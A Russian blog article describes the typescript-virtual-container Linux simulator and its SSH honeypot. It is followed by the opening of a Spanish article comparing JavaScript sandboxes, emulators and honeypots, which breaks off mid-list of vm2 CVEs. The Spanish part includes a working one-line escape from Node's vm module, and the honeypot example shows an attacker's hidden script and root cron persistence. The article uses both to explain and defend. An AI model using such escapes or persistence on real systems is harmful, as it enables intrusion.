Короткое введение, так как я упоминаю её впервые: typescript-virtual-container был создан Chloé Rolzhausen, французским разработчиком, известной как Fortune (или ItsRealFortune) онлайн. Ты можешь найти её на сайте и в LinkedIn. Весь проект -- 56k строк TypeScript, 247 файлов, 170 команд -- был сольной работой одного человека. Для остатка статьи я буду называть её Fortune. И да, это довольно дико. Загляни к ней!

Что это на самом деле

typescript-virtual-container -- это симулятор окружения Linux, написанный на чистом TypeScript. Никакого Wasm. Никаких нативных аддонов. Никакого ядра. ~56 000 строк исходного кода в 247 TypeScript-файлах.

Ключевое понимание: тебе не нужен эмулятор CPU, чтобы заставить ls /etc | grep passwd работать. Тебе нужно:

  1. Дерево узлов в памяти, которое отвечает на операции с путями
  2. Модель прав доступа POSIX, применяемая при каждом доступе
  3. Парсер командной оболочки, который понимает пайпы, перенаправления, подобалочки и раскрытие переменных
  4. ~170 реализаций команд (функции, а не бинарники)
  5. Система управления пользователями и группами
  6. Что-то, чтобы выставить всё это через SSH

Всё это достижимо на чистом TypeScript без участия ядра.

VirtualFileSystem

VFS -- это дерево типизированных узлов в памяти -- никакого дискового I/O, если ты явно не включишь режим персистентности "fs":

// Simplified internal representation
type InternalNode =
  | { type: "file"; content: string | Uint8Array; mode: number; uid: number; gid: number; mtime: number }
  | { type: "dir"; children: Map<string, InternalNode>; mode: number; uid: number; gid: number }
  | { type: "symlink"; target: string }
  | { type: "device"; kind: "char" | "block"; read(): string; write(data: string): void }
  | { type: "stub" }; // lazy-loaded placeholder

Каждая операция с путём проходит через normalizePath (разрешает ., .., симлинки) и enforceAccess (проверяет права на чтение/запись/исполнение относительно запрашивающего uid/gid). chmod, chown, sticky bits и setuid -- все реализованы и действительно применяются. Если процесс, работающий как uid 1000, пытается прочитать файл, принадлежащий root с режимом 0600, он получает EACCES -- не фейковый EACCES, а настоящую JavaScript Error, выброшенную из проверки прав. Эта часть довольно элегантна, честно говоря.

VFS сериализуется в:

  • .vfsb -- компактный бинарный формат (кастомный, со сжатием fflate) -- это формат по умолчанию
  • JSON снимок -- человекочитаемый, удобен для отладки
  • TAR архив -- импорт/экспорт с реальным tar-форматом, так что можно сделать tar -xf чего-то, и VFS просто... получает эти файлы
  • SquashFS образ -- импорт только для чтения

В режиме персистентности "fs" он ведёт журнал с упреждающей записью (WAL) для восстановления после сбоев -- записи сначала идут в журнал, затем в снимок при сбросе. Если Node падает посередине операции, журнал позволяет восстановить последнее полное состояние.

Также есть слой FileCache, который симулирует задержки дискового I/O. Ты настраиваешь профили вроде NVME_DISK_IO или HDD_DISK_IO, и VFS искусственно задерживает файловые операции, чтобы соответствовать реалистичным таймингам. Что довольно забавно -- программное обеспечение, намеренно замедляющее себя для симуляции железа -- но на самом деле очень полезно для бенчмаркинга.

Интерпретатор командной строки

Парсер командной строки создаёт типизированное AST:

// "ls /etc | grep root && echo done" parses to:
{
  type: "statement",
  pipeline: [
    { name: "ls", args: ["/etc"], redirects: [] },
    { name: "grep", args: ["root"], redirects: [] }
  ],
  next: {
    op: "&&",
    statement: {
      type: "statement",
      pipeline: [{ name: "echo", args: ["done"], redirects: [] }],
      next: null
    }
  }
}

Исполнитель обходит это AST:

  • Для пайпа создаёт цепочку потоков { stdin, stdout, stderr } и выполняет каждую команду с конвейерным I/O
  • Для логических операторов (&&, ||) проверяет $? после левой части перед выполнением правой
  • Для подобалочек ($(...), ` `) создаёт форк контекста выполнения
  • Для перенаправлений (>file, >>file, 2>&1, <file) настраивает соединение потоков перед выполнением
  • Для фоновых задач (cmd &) запускает без ожидания завершения
  • Для переменных раскрывает $VAR, ${VAR:-default}, ${#VAR} и арифметику $((expr))
  • Для brace expansion ({a,b,c}, {1..5}) генерирует полный список раскрытия перед выполнением

Всё это реальное поведение POSIX-оболочки. Парсер обрабатывает heredoc'ы, подстановку процессов, globbing (*, ?, [abc]) и обработку кавычек (одинарные кавычки, двойные кавычки с интерполяцией, экранирование обратным слешем). Он не идеален -- крайние случаи есть -- но он далеко за пределами того, что можно ожидать от TypeScript-проекта.

~170 встроенных команд

Команды -- это TypeScript-функции, зарегистрированные в реестре команд. Они получают CommandContext с потоками stdin/stdout/stderr, VFS, сессией пользователя, окружением оболочки и доступом к подмодулям.

Написать 170 реализаций Unix-команд -- это... много. Некоторые тривиальны (echo, true, false), некоторые на удивление сложны (awk, find, tar). В смысле, полноценный POSIX awk? На TypeScript? Это безумие, честно говоря. Вот пример того, что там есть:

cat, ls, cp, mv, rm, mkdir, rmdir, touch, chmod, chown, chgrp,
ln, readlink, find, locate, stat, file,
echo, printf, read, test, [, [[,
grep, sed, awk, cut, sort, uniq, wc, head, tail, tr,
ps, top, kill, pkill, nice, ionice,
ssh, scp, sftp (клиентская часть, исходящие соединения),
ping, curl, wget, nc, netstat, ss, ip, ifconfig, route,
apt, apt-get, apt-cache, dpkg, pacman,
useradd, usermod, userdel, groupadd, passwd, su, sudo,
tar, gzip, gunzip, bzip2, bunzip2, xz, unxz, zip, unzip,
git (заглушка), python3 (заглушка), node (заглушка),
nano (полноценный интерактивный редактор), vim (базовый), vi (базовый),
neofetch, htop, tree, df, du, free, uptime, who, w, last,
cron (симулированный), systemctl (заглушка), journalctl (заглушка),
...и ещё ~130

«Заглушки» (git, python3, node) реалистично отвечают на типичные вызовы -- python3 --version возвращает правдоподобную строку версии, git status показывает фейковое состояние репозитория -- без выполнения реальной работы. Для honeypot'а они на самом деле полезнее реальных, потому что позволяют наблюдать, что атакующие пытаются запустить, без фактического выполнения чего-либо вредоносного.

SSH-сервер

SSH-слой использует реальный npm-пакет ssh2 -- настоящий протокол SSH, реальный обмен ключами, реальное шифрование. SSHMimic оборачивает его:

import { VirtualSshServer } from "typescript-virtual-container";

const ssh = new VirtualSshServer({
  port: 2222,
  hostname: "prod-server-01",
  shellProperties: {
    kernel: "5.15.0-91-generic #101-Ubuntu SMP",
    os: "Ubuntu 22.04.3 LTS",
    arch: "x86_64",
  },
});
await ssh.start();
// Real SSH: ssh -p 2222 root@localhost
// Real SFTP: sftp -P 2222 root@localhost
// Real SCP: scp -P 2222 file root@localhost:/tmp/

shellProperties определяют, что сообщают uname -a, lsb_release -a, neofetch, /proc/version и /etc/os-release. Ты можешь убедительно выдавать себя за любой дистрибутив Linux и версию ядра -- для реального SSH-клиента буквально нет способа определить разницу.

Модуль HoneyPot

Поскольку интерпретатор командной строки реален и SSH-сервер реален, команды атакующего действительно выполняются в виртуальном окружении. Запросы wget, инициированные атакующим, логируются с целевыми URL. Файлы, созданные атакующим, сохраняются в VFS. Попытки эскалации прав атакующего выдают реалистичные ошибки.

import { VirtualSshServer, HoneyPot, diffSnapshots } from "typescript-virtual-container";

const pot = new HoneyPot({
  onCommand: (session, cmd) => threatIntel.record({ cmd, ip: session.remoteAddress }),
  onDownload: (session, url) => malwareAnalysis.queue(url),
  onAuthentication: (username, password, accepted) => credHarvest.log({ username, password }),
});

const ssh = new VirtualSshServer({ port: 22, honeypot: pot });
await ssh.start();

// After a session, diff the filesystem
const before = shell.vfs.toSnapshot();
// ... attacker session ...
const after = shell.vfs.toSnapshot();
const diff = diffSnapshots(before, after);
/*
  diff = [
    { op: "create", path: "/tmp/.hidden/bot.sh", content: "#!/bin/bash\ncurl..." },
    { op: "chmod", path: "/tmp/.hidden/bot.sh", from: 0o644, to: 0o755 },
    { op: "create", path: "/var/spool/cron/root", content: "* * * * * /tmp/.hidden/bot.sh" }
  ]
*/

Это качественно отличается от Cowrie. Фейковая файловая система Cowrie может отвечать на ls, но не может отслеживать, какие файлы создал атакующий и какие изменения он внёс, в виде структурированного diff'а. typescript-virtual-container может, потому что VFS -- это живая структура данных -- каждая запись отслеживается. Та запись cron, которую только что добавил атакующий? Она в diff'е. Та скрытая папка? В diff'е. Довольно полезно для анализа вредоносного ПО.

Виртуальный сетевой стек

Это, вероятно, самая впечатляющая часть всего проекта, и у неё нет аналогов ни в одном другом проекте в этой области. Полноценный виртуальный сетевой стек L2/L3 с поддержкой VPN, написанный на чистом TypeScript, без участия реальных сетевых адаптеров. Это действительно дико.

VirtualNetworkManager предоставляет каждому экземпляру VirtualShell виртуальные сетевые интерфейсы с настраиваемыми IP-адресами, таблицами маршрутизации и программным файрволом (правила в стиле iptables с conntrack и NAT). ip addr, ip route, iptables -L, netstat -rn -- все показывают состояние виртуальной сети.

VirtualSwitch (названный Baie -- от французского слова «стойка серверной», «baie informatique») соединяет несколько оболочек в одной общей подсети. Он реализует:

  • Обучение MAC и ARP
  • IP-маршрутизацию между подсетями
  • NAT (исходящий masquerade)
  • DNS (настраиваемые записи для каждой подсети)
  • Балансировку нагрузки (round-robin, least-connections)
  • Формирование трафика: задержка, джиттер (гауссово распределение), потеря пакетов, burst loss, переупорядочивание, дублирование
  • Ограничение пропускной способности (token bucket)
  • Принудительный MTU
  • Отслеживание соединений (stateful, с состояниями NEW/ESTABLISHED/TIME_WAIT)
const baie = new Baie("192.168.0.0/24");

// Three virtual machines on the same switch
const web = new VirtualShell("web");
const api = new VirtualShell("api");
const db  = new VirtualShell("db");

baie.attach(web, "192.168.0.2");
baie.attach(api, "192.168.0.3");
baie.attach(db,  "192.168.0.4");

// Firewall: web can reach api, api can reach db, web cannot reach db directly
baie.addFirewallRule({ src: "192.168.0.2", dst: "192.168.0.4", proto: "tcp", action: "DROP" });

// Traffic shaping: simulate a flaky WAN link to the outside
baie.setInterface("192.168.0.2", { latencyMs: 50, jitterMs: 10, packetLoss: 0.001 });

VirtualVpn создаёт зашифрованные туннели между инстансами Baie -- ты можешь симулировать многосайтовую сеть с VPN-соединениями между площадками.

VirtualProxy реализует проброс портов и SOCKS5-прокси.

Ничто из этого не касается реального сетевого адаптера. Всё это маршрутизация объектов TypeScript. Команда ping «работает» путём маршрутизации через виртуальный коммутатор и возврата симулированных ICMP-ответов. curl http://192.168.0.3/api маршрутизируется через виртуальную сеть, попадает на симулированный HTTP-ответ оболочки api и возвращает содержимое. Это черепахи до самого низа, в лучшем смысле.

SandboxedShell

Для программного использования, где нужна более сильная изоляция, SandboxedShell запускает сессию оболочки в Worker-потоке Node.js:

import { SandboxedShell } from "typescript-virtual-container";

const shell = new SandboxedShell({
  memoryMB: 128,
  cpuQuota: 0.25, // 25% of one core
  timeoutMs: 5000,
});

const result = await shell.exec("ls /etc | grep -c .");
console.log(result.stdout); // "42\n"
console.log(result.exitCode); // 0

Изоляция здесь обеспечивается слоем VFS (оболочка рабочего потока может видеть только виртуальную файловую систему, никогда не файловую систему хоста) плюс изоляцией памяти Worker-потока Node.js. Это легче, чем isolated-vm, но более подходит для изоляции на уровне оболочки, а не на уровне JS.

Ограничение ресурсов

Ты можешь настроить ограничения ресурсов для каждой оболочки, которые влияют на то, что сообщают команды мониторинга системы:

const shell = new VirtualShell("limited-vm", {}, {}, {
  maxRamMB: 512,
  maxCpuCores: 2,
});

Внутри этой оболочки free -m показывает 512 МБ общей RAM. nproc возвращает 2. /proc/meminfo показывает ограниченные значения. htop и top показывают ограниченное количество CPU. Это позволяет точно настроить аппаратный профиль фейковой машины.

Три режима развёртывания

Режим 1: SSH/SFTP сервер
  VirtualSshServer / VirtualSftpServer
  → Реальный протокол SSH, реальный SFTP, реальный SCP
  → Сценарии: honeypot'ы, удалённые среды тестирования, обучающие лаборатории

Режим 2: Веб-оболочка (браузер)
  builds/fortune-nyx-v1.7.8-web.min.js (ESM бандл)
  → Работает в браузере, VFS сохраняется в IndexedDB
  → Сценарии: интерактивные туториалы, встроенные терминалы, демо
  → Бонус: запусти startxfce4 для полного симулированного XFCE рабочего стола

Режим 3: Автономный CLI
  builds/fortune-nyx-v1.7.8-directbash-k6.1.0.mjs (один файл, без установки)
  → curl и запуск, сохраняет VFS в директории .vfs/
  → Сценарии: быстрые демо, локальные эксперименты

Полифиллы -- как работает браузерная сборка без Wasm

Окей, это та часть, которую я нахожу действительно умной, и я хотел специально её отметить.

Заставить Node.js-библиотеку работать в браузере обычно кошмар. Ты либо используешь Wasm-среду выполнения (тяжёлую, медленно загружающуюся), либо тратишь недели на ручную замену каждого импорта node:* на браузерно-совместимую альтернативу. Fortune сделала второе -- но очень чисто, написав набор кастомных полифиллов, которые живут в директории polyfills/ репозитория.

Пайплайн сборки -- это просто esbuild с кучей записей alias:

// demo/build.js -- the entire browser build config
esbuild.build({
  entryPoints: ['app.ts'],
  bundle: true,
  platform: 'browser',
  alias: {
    'node:events':         '../polyfills/node_events/index.js',
    'node:path':           '../polyfills/node_path/index.js',
    'node:os':             '../polyfills/node_os/index.js',
    'node:fs':             '../polyfills/node_fs/index.js',
    'node:fs/promises':    '../polyfills/node_fs/promises.js',
    'node:crypto':         '../polyfills/node_crypto/index.js',
    'node:child_process':  '../polyfills/node_child_process/index.js',
    'node:zlib':           '../polyfills/node_zlib/index.js',
    'node:vm':             '../polyfills/node_vm/index.js',
    'node:net':            '../polyfills/node_net/index.js',
    'node:url':            '../polyfills/node_url/index.js',
    'node:worker_threads': '../polyfills/node_worker_threads/index.js',
    'ssh2':                '../polyfills/ssh2/index.js',
    'roxify':              '../polyfills/roxify.js',
  },
  inject: ['../polyfills/process.js', '../polyfills/buffer.js'],
  minify: true,
  treeShaking: true,
});

Никакого Wasm. Никакой внешней библиотеки полифиллов. Никакой ерунды webpack-node-externals. Просто алиасные модули и пара внедрённых глобалов. Давай пройдёмся по каждому, потому что некоторые из них действительно впечатляют.

node:fs -- IndexedDB как фейковая файловая система

Это мой любимый. Полифилл node:fs реализует синхронное Node.js fs API (readFileSync, writeFileSync, existsSync, readdirSync, mkdirSync, unlinkSync, statSync...) с поддержкой двумя слоями: Map в памяти для синхронного чтения и IndexedDB для персистентности между перезагрузками страниц. Записи попадают в Map немедленно (чтобы readFileSync сразу после writeFileSync всегда работал), затем асинхронно сбрасываются в IndexedDB в фоне.

// Sync cache (path → Uint8Array | null) -- instant reads
const memCache = new Map();

// Preload everything from IndexedDB into memCache at startup
openDB().then(db => {
  const tx = db.transaction(STORE, 'readonly');
  const req = tx.objectStore(STORE).openCursor();
  req.onsuccess = e => {
    const cursor = e.target.result;
    if (!cursor) return;
    memCache.set(cursor.key, cursor.value);
    cursor.continue();
  };
});

Вот почему снимок VFS переживает перезагрузки страниц в браузере -- весь бинарник .vfsb записывается в IndexedDB через этот полифилл и считывается обратно при следующей загрузке. Никакого Wasm. Никакого сервера. Просто IndexedDB, которая есть в каждом браузере примерно с 2011 года.

node:crypto -- SHA-256 на чистом JS

Вместо того чтобы подтягивать Wasm-криптобиблиотеку, крипто-полифилл реализует SHA-256 с нуля, используя константы раундов FIPS 180-4. 166 строк чистого JS с полной поддержкой вывода hex/base64/Uint8Array. Всё хеширование в библиотеке проходит через него -- fingerprinting SSH-ключей хоста, внутренние контрольные суммы, всё. Компактно, без зависимостей, просто работает.

node:os -- читает реальное железо браузера

Это приятный штрих. Вместо возврата жёстко закодированных значений-заполнителей node:os читает navigator.deviceMemory для общей RAM и navigator.hardwareConcurrency для количества CPU. Так что neofetch внутри браузерной сборки фактически сообщает что-то, что соответствует твоей реальной машине, а не выдуманной заглушке «2 ядра, 2 ГБ RAM».

export function totalmem(){
  return navigator?.deviceMemory
    ? navigator.deviceMemory * 1024 * 1024 * 1024
    : 2 * 1024 * 1024 * 1024; // 2 GB fallback
}
export function cpus(){
  const n = navigator?.hardwareConcurrency || 2;
  // also parses navigator.userAgent to guess the CPU model string
  return Array.from({ length: n }, () => ({ model, speed: 2400 }));
}

node:net, ssh2, roxify -- честные заглушки

Браузер не может открывать TCP-сокеты или запускать реальный SSH, поэтому это заглушки, которые выбрасывают ошибку NotImplemented с понятным сообщением, если что-то пытается их использовать. Никакого молчаливого отказа, никакого undefined, возвращённого там, где ожидается объект. Просто громкое, чёткое «это не работает в браузере» -- что именно то, что нужно.

process.js и buffer.js -- внедрённые глобалы

Эти два внедряются в начало каждого собранного файла через опцию inject esbuild, так что process и Buffer глобально доступны без явного импорта. process.js крошечный: env, version, platform: 'browser', nextTick через queueMicrotask, uptime через performance.now(). buffer.js -- это полная перереализация Buffer поверх Uint8Array -- все методы readUInt32BE, writeInt16LE, hex/base64 кодирования, на которые полагаются SSH-реализация и VFS.


Весь набор полифиллов -- это около 640 строк написанного вручную JS. Никаких npm-пакетов. Никакого Wasm. И результат -- это браузерный бандл, который представляет собой просто библиотеку, работающую нативно, без обычной тревоги «но работает ли это на самом деле в браузере?», свойственной библиотекам, ориентированным на Node. Стоит заглянуть в папку polyfills/ в репозитории, если тебе интересно -- каждый файл хорошо изолирован и читабелен сам по себе, что является стилем, который я очень ценю.

vm isolated-vm quickjs-emscripten v86 CheerpX WebContainers Cowrie typescript-virtual-container
Категория JS-песочница JS-песочница JS-песочница Эмулятор Эмулятор Node.js/Wasm Honeypot Симулятор
Изолирует JS ⚠️ область видимости ✅ V8 Isolate ✅ Wasm n/a n/a частично n/a ✅ Worker
Реальное ядро Linux ❌ ❌ ❌ ✅ ✅ ❌ ❌ ❌
Интерпретатор команд ❌ ❌ ❌ ✅ (реальный) ✅ (реальный) ✅ (реальный) частичный ✅ (кастомный)
~170 Unix-команд ❌ ❌ ❌ ✅ ✅ частично ~20 ✅
Права POSIX ❌ ❌ ❌ ✅ ✅ ✅ частично ✅ применяются
Управление пользователями ❌ ❌ ❌ ✅ ✅ ❌ минимальное ✅ полное
Реальный SSH-сервер ❌ ❌ ❌ ❌ ❌ ❌ ✅ ✅
SFTP / SCP ❌ ❌ ❌ ❌ ❌ ❌ ❌ ✅
Honeypot/аудит ❌ ❌ ❌ ❌ ❌ ❌ ✅ ✅
VFS diff/снимок ❌ ❌ ❌ ограниченно ❌ ❌ ❌ ✅
Виртуальная сеть L2/L3 ❌ ❌ ❌ базово ❌ ❌ ❌ ✅ полная
Виртуальный VPN ❌ ❌ ❌ ❌ ❌ ❌ ❌ ✅
Поддержка браузера ❌ ❌ ✅ ✅ ✅ ✅ ❌ ✅
Node.js нативный ✅ ✅ ✅ ✅ ❌ ❌ ❌ ✅
Типизированный API базовый ✅ ✅ минимальный ❌ ✅ ❌ ✅ полный
Бинарная совместимость n/a n/a n/a ✅ ✅ частичная n/a ❌
Время загрузки мгновенно мгновенно мгновенно 15–40с 15–40с 2–5с мгновенно <1с
RAM/инстанс ~1 МБ ~3–10 МБ ~5–15 МБ 150–256 МБ 200+ МБ ~100 МБ ~50 МБ ~5–20 МБ
Зависимости во время выполнения 0 1 (нативный) 1 (Wasm) 0 проприетарные 1 Python deps 3 (ssh2, ws, fflate)
Статус стабильный ✅ активный ✅ активный ✅ очень активный коммерческий ✅ активный ✅ активный ✅ активный

Когда что использовать

Тебе нужно запустить недоверенный JavaScript -- формулу от пользователя, плагин, скриптовый хук.
→ isolated-vm. Настоящий V8 Isolate, жёсткие лимиты памяти, явный мост коммуникации. Избегай vm2 -- список CVE продолжает расти, серьёзно, это как новый каждый несколько месяцев. Избегай vm -- это вообще не песочница, пожалуйста.

Тебе нужно изолировать JS, и ты не хочешь нативный аддон, или нужна совместимость с браузером.
→ quickjs-emscripten. Граница Wasm, модуль ~500 КБ, работает в браузерах и Node. Медленнее V8, но действительно изолирован.

Тебе нужно загрузить реальную, неизменённую ОС Linux с бинарной совместимостью.
→ v86 для 32-битного Linux, или container2wasm, если у тебя есть существующий Docker-образ. Прими 150 МБ+ RAM и 30-секундную загрузку, такова сделка. Если нужна 64-битная версия, смотри на CheerpX или просто используй реальную среду выполнения контейнеров.

Тебе нужно встроить Linux-подобный терминал в веб-приложение без бэкенда.
→ v86 (полная ОС, тяжёлая, долго запускается) или браузерный бандл от typescript-virtual-container (симулятор, легче, мгновенная загрузка, включает startxfce4 для полного рабочего стола, что довольно круто, ngl).

Тебе нужны интерактивные онлайн-туториалы по программированию или браузерная IDE.
→ WebContainers, если ты сосредоточен на экосистеме Node.js. CheerpX, если нужно реальное пользовательское окружение Linux. Браузерный бандл typescript-virtual-container, если хочешь более лёгкий вариант с типизированным API.

Ты хочешь собирать TTP SSH-атакующих в масштабе.
→ Cowrie -- это production-стандарт, точка. Работает на любом Linux-сервере, интегрируется с любым SIEM, теперь с LLM-режимом. Просто используй Cowrie.

Тебе нужны данные SSH-honeypot'а в Node.js-приложении с программным API.
→ typescript-virtual-container. Команды действительно выполняются. VFS -- это реальная структура данных, которую можно снимать и диффать. Атакующий получает убедительную интерактивную среду, а ты получаешь структурированные данные аудита, не покидая Node.

Тебе нужна автоматизация оболочки / тестирование в CI без Docker.
→ typescript-virtual-container. Загрузка менее чем за секунду, снимок перед тестом, восстановление после. Запускай команды оболочки с типизированным API. Никакого демона Docker, никакого ядра, никакой VM, никакого ожидания.

Тебе нужны мультитенантные среды оболочки (SaaS, образование, обучение).
→ typescript-virtual-container. 5–20 МБ на инстанс против 150–256 МБ для эмулятора. 100 одновременных пользователей: ~2 ГБ против ~25 ГБ. Это большая разница в стоимости хостинга!

Тебе нужен реалистичный honeypot, который также позволяет построить многовиртуальную сетевую лабораторию.
→ typescript-virtual-container -- единственное в этой области, что делает и то, и другое.


Что он не может делать (и я хочу быть честен об этом)

Он не может запускать нативные x86-бинарники. Если тебе нужно скомпилировать C-код, запустить реальный интерпретатор Python или использовать программное обеспечение, скомпилированное для Linux, нет ABI ядра для поддержки этих системных вызовов. Команды вроде gcc, python3 и node -- это заглушки: они отвечают на --version и типичные вызовы, но не выполняют ничего реального.

Это фундаментальный компромисс: ты получаешь в 10–50 раз меньше памяти, мгновенную загрузку, совместимость с браузером, типизированный API, реальный SSH и виртуальную сеть -- и отказываешься от бинарной совместимости с пользовательским окружением Linux.

Fortune много думала об этом при проектировании проекта. Для сценариев, на которые она ориентировалась -- honeypot'ы, тестирование, встроенные терминалы, CI-среды -- запуск скомпилированного бинарника никогда не требуется. Конвейеры команд, манипуляции с файлами, сетевая маршрутизация и SSH покрывают всё. Но если твой сценарий требует реального скомпилированного программного обеспечения, v86 или Docker -- правильный ответ, а не это.


Подводя итог

Итааак, да. Эта экосистема шире и более фрагментирована, чем кажется со стороны. vm -- это разделитель области видимости, а не песочница. vm2 продолжает накапливать CVE (реально, просто проверь рекомендации этого месяца). isolated-vm -- правильный ответ для JS-песочницы, но только JS. quickjs-emscripten -- правильный выбор, когда нужна совместимость с браузером или хочется избежать нативных аддонов. v86 и CheerpX -- реальные эмуляторы, когда нужна реальная бинарная совместимость. WebContainers -- это Node.js в Wasm, а не универсальное Linux-окружение. Cowrie -- золотой стандарт SSH-honeypot'а, но он на Python и не родной для Node.

И затем есть typescript-virtual-container -- проект Fortune -- который живёт в своей собственной категории. Не эмулятор, не JS-песочница, не пассивный honeypot. Что-то среднее между ними всеми, что оказалось удивительно полезным для многих вещей, которые никто из других не может сделать.

typescript-virtual-container заполняет пробел, которого не касается никто другой: полное программное окружение Linux-оболочки с реальным SSH, SFTP, правами POSIX, управлением пользователями, виртуальной сетью и типизированным TypeScript API -- работающее в ~10 МБ, загружающееся менее чем за секунду, работающее как в Node.js, так и в браузере.

Если хочешь попробовать: исходники на github.com/itsrealfortune/typescript-virtual-container, живое демо (включая startxfce4 для полного рабочего стола, что реально круто) на itsrealfortune.fr/typescript-virtual-container/demo. Зайди и поставь Fortune звёздочку на GitHub, она это заслужила!

Спасибо за чтение -- это была очень длинная статья даже по моим меркам :) надеюсь, было полезно!


Источники

Я старался привязать каждое утверждение к первоисточнику -- CVE-рекомендации, официальная документация, GitHub-репозитории, посты от мейнтейнеров. Несколько замечаний: список CVE vm2 продолжает расти, так что ссылка FortiGuard может устареть к тому времени, как ты это прочитаешь (проверь страницу рекомендаций GitHub для последних обновлений). Ссылки Беллара все стабильны -- его личный сайт работает вечно, и контент не меняется. И если хочешь углубиться в любой из полифиллов, просто просмотри папку polyfills/ в репозитории typescript-virtual-container -- это более читабельно, чем любое описание, которое я мог бы здесь написать.

JavaScript-песочницы

Эмуляторы Linux

Терминальный стек

Honeypot'ы

typescript-virtual-container

Дополнительное чтение

Comparando Soluciones JavaScript para Simulaciones de Kernels Linux

Un análisis profundo de recreaciones de entornos Linux en

Todos los sandboxes, emuladores, simuladores y honeypots de JavaScript -- comparados

He estado demasiado metido en este agujero de conejo por un tiempo. Empezó porque estaba ayudando con typescript-virtual-container -- un proyecto de Fortune (más sobre ella en un momento) -- y me seguían preguntando «espera, ¿en qué se diferencia esto de v86?» o «¿por qué no usar vm2?» -- y me di cuenta de que no podía dar una respuesta clara sin mapear todo el ecosistema primero. Así que aquí estamos supongo lol.

Resulta que hay cuatro familias distintas -- sandboxes JS, emuladores de Linux, simuladores de Linux y honeypots -- y casi nunca se superponen, aunque se mencionan constantemente en la misma conversación. Alguien que construye un sistema de plugins usa isolated-vm. Alguien que hace una demo de una herramienta CLI usa v86. Alguien que hace inteligencia de amenazas SSH usa Cowrie. Están resolviendo problemas completamente diferentes bajo el mismo paraguas vago de «ejecutar código en una caja».

Pasé mucho tiempo leyendo código fuente, informes CVE, documentos de arquitectura y páginas npm para escribir esto. Esto va a ser laaaargo -- tómate un café, en serio. O dos.

Aviso rápido: typescript-virtual-container aparece prominentemente en este artículo porque fue lo que provocó esta investigación. He tratado de ser justo con todo lo demás, pero ten ese contexto en mente.


Parte 0 -- Primero, ¿qué problema estás resolviendo realmente?

Antes de profundizar, vale la pena ser preciso sobre para qué sirve cada familia, porque la terminología se vuelve imprecisa rápidamente y la gente las confunde constantemente (incluyéndome a mí, antes de sentarme y mapearlo realmente).

Los sandboxes JS aíslan código JavaScript del proceso Node.js anfitrión. El modelo de amenaza es: código JS no confiable que podría llamar a process.exit(), leer archivos o spawnear procesos hijos. La solución es un límite alrededor de la ejecución de V8. Estas herramientas no tienen concepto de un shell de Linux, un sistema de archivos con permisos o SSH.

Los emuladores de Linux ejecutan un kernel de Linux real y sin modificar dentro de un emulador de CPU (x86, RISC-V, OR1K) implementado en JavaScript o WebAssembly. Arrancas un SO real. Obtienes syscalls reales. Obtienes compatibilidad binaria con programas compilados para x86. La sobrecarga es enorme.

Los simuladores de Linux falsifican el comportamiento de un sistema Linux sin ejecutar un kernel real. Implementan un intérprete de shell, un sistema de archivos virtual y suficientes semánticas de Unix para engañar a programas y humanos. Sin kernel. Sin Wasm. Sin emulación de CPU. Sobrecarga mucho menor.

Los honeypots están construidos para atraer atacantes y registrar lo que hacen. No son principalmente entornos de ejecución -- son herramientas de observabilidad. La fidelidad al comportamiento real de Linux importa solo en la medida en que evita que el atacante detecte la trampa.

Con ese marco, aquí es donde aterriza cada proyecto en este artículo:

Sandbox JS:        vm, vm2, isolated-vm, quickjs-emscripten, Deno Workers, ShadowRealm
Emulador Linux:    v86, JSLinux/TinyEMU, jor1k, CheerpX, WebContainers, container2wasm
Simulador Linux:   typescript-virtual-container (único en este espacio)
Honeypot:          Cowrie, Kippo, Lyrebird, endlessh, sshesame, node-simple-ssh-honeypot
Stack terminal:    xterm.js + node-pty (no es un aislador, pero adyacente)

Parte 1 -- Sandboxes de JavaScript

1.1 vm -- el integrado de Node.js (no es lo que piensas)

La respuesta más antigua para «ejecutar JS no confiable» en Node es el módulo integrado vm. Ha estado ahí desde v0.1, así que mucha gente lo usa primero -- y luego se quema.

const vm = require("vm");
const sandbox = { answer: 0 };
vm.createContext(sandbox);
vm.runInContext("answer = 6 * 7", sandbox);
console.log(sandbox.answer); // 42

Lo que vm realmente hace: crea un nuevo contexto V8 (un conjunto nuevo de constructores integrados -- Object, Array, Function, etc.) y ejecuta código en él, con una referencia compartida a lo que pongas en sandbox. Tu motor V8 no cambia. Tu proceso no cambia. La memoria es compartida.

La razón por la que vm no proporciona seguridad: la cadena de prototipos de JavaScript es un DAG que conecta todo de vuelta a Object.prototype. Si pones cualquier objeto del ámbito anfitrión en el sandbox, el invitado puede trepar por su cadena de prototipos y alcanzar los constructores anfitriones. Desde Function, puedes llamar a Function("return process")() y recuperar el objeto process real. Juego terminado. Así, inmediatamente.

// Esto se ejecuta perfectamente en vm -- obtienes el objeto process real
vm.runInNewContext(`({}).__proto__.constructor("return process")()`);

La documentación de Node.js dice: «El módulo vm no es un mecanismo de seguridad. No lo uses para ejecutar código no confiable». Esta advertencia ha estado allí desde sieeempre. La gente la ignora constantemente. He visto aplicaciones en producción usar vm como sandbox. Por favor, no hagas eso xD

Veredicto: un mecanismo de ámbito, no un sandbox. Úsalo cuando necesites ámbito de variables aislado (motores de plantillas, funcionalidades tipo eval donde controlas el código). Nunca para entrada no confiable.

Memoria: sobrecarga insignificante -- mismo heap V8 que el proceso anfitrión.
Seguridad: ninguna contra un atacante motivado.


1.2 vm2 -- el intento comunitario, y su muy larga muerte

vm2 fue la respuesta de la comunidad al problema de escape de vm. La idea central: envolver cada objeto que cruza el límite del sandbox en un Proxy que intercepta el acceso a propiedades, bloquea el ascenso por prototipos y filtra referencias peligrosas. ¡Idea inteligente en teoría! No tanto en la práctica, como veremos.

const { VM } = require("vm2");
const vm = new VM({ timeout: 1000, sandbox: {} });
vm.run("process.exit(1)"); // lanza VMError, process no accesible

Durante varios años esto funcionó razonablemente bien. Pero la superficie de ataque de Proxy en JavaScript es enorme. Cada nueva característica del lenguaje JS -- generadores, iteradores asíncronos, Symbol.toPrimitive, Error.prepareStackTrace, slots internos de Promise -- es un posible vector de bypass.

La línea de tiempo de CVE es... algo. Mira esto:

Fecha CVE Mecanismo
Oct 2022 CVE-2022-36067 Escape de contexto anfitrión por Error.prepareStackTrace
Abr 2023 CVE-2023-29017 Fuga de objetos anfitriones por pila de error asíncrono no manejado
Abr 2023 CVE-2023-29199 Bypass de sanitización de excepciones vía handleException()
Abr 2023 CVE-2023-30547 Proxy.getPrototypeOf → Function → RCE
May 2023 CVE-2023-32314 Proxy en Error.name → Function → RCE
Jul 2023 CVE-2023-37466 Función asíncrona + desbordamiento de pila + Proxy.getPrototypeOf
Jul 2023 CVE-2023-37903 Worker thread + eval escape

